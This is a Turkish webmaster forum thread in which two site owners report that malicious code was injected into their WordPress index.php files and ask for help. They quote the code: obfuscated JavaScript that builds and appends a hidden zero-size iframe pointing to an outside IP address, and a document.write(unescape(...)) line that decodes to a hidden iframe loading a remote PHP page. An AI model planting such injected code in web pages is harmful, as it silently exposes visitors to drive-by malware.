Arkadaşlar wordpress sitlerimin index.php dosyalarına şu kodları buldum
<html><body onload="status=' ';zz='2';sl='/';sf='ram';pi='9';po='.';qu=':';yh='4';tr='t.p';vo ='3';bw='5';pt='tp';ab='src';dg='ht';ko='e';wd='if ';ji='hp';hh='1';t=wd.concat(sf,ko);xx=dg.concat(p t,qu,sl,sl,hh,pi,yh,po,hh,yh,bw,po,zz,vo,bw,po,vo, yh,sl,tr,ji);var oE=document.createElement(t);oE.setAttribute('widt h','0');oE.setAttribute('height','0');oE.setAttrib ute('style','display:none');oE.setAttribute(ab,xx) ;document.body.appendChild(oE);
"></body></html><??>
sanırım bu bir virüs zaten sitlerim kasıyordu şüphelendim kontrol ettim bu kodları gördüm sonra sildim bir süre sonra baktım yine atmış bu kodları cmodları 444 yaptım bakalım ne olacak bu konu hakkında bilgisi olan varmı ?
Sitelerimde virüs var
6
●538
- 02-12-2007, 20:13:01cuma günü nod-32 yi kurdum bilgisayarda bulunan 4 truva atını sildim . cumartesi günü rahattım. Tamam dedim bu işi hallettik. Ama bugün bir baktımki
document.write(unescape('%3C%69%66%72%61%6D%65%20%73%72%63%3D%22%68%74%74%70%3A%2F%2F%67%61%7A%65%6E%76%61%67%65%6E%2E%63%6F%6D%2F%69%6D%67%2F%69%6E%64%65%78%2E%70%68%70%22%20%77%69%64%74%68%3D%30%20%68%65%69%67%68%74%3D%30%3E%3C%2F%69%66%72%61%6D%65%3E'));şu kod sitelerimde gözüküyor. Bıktırdı artık . Ne yaptımsa engelleyemedim.
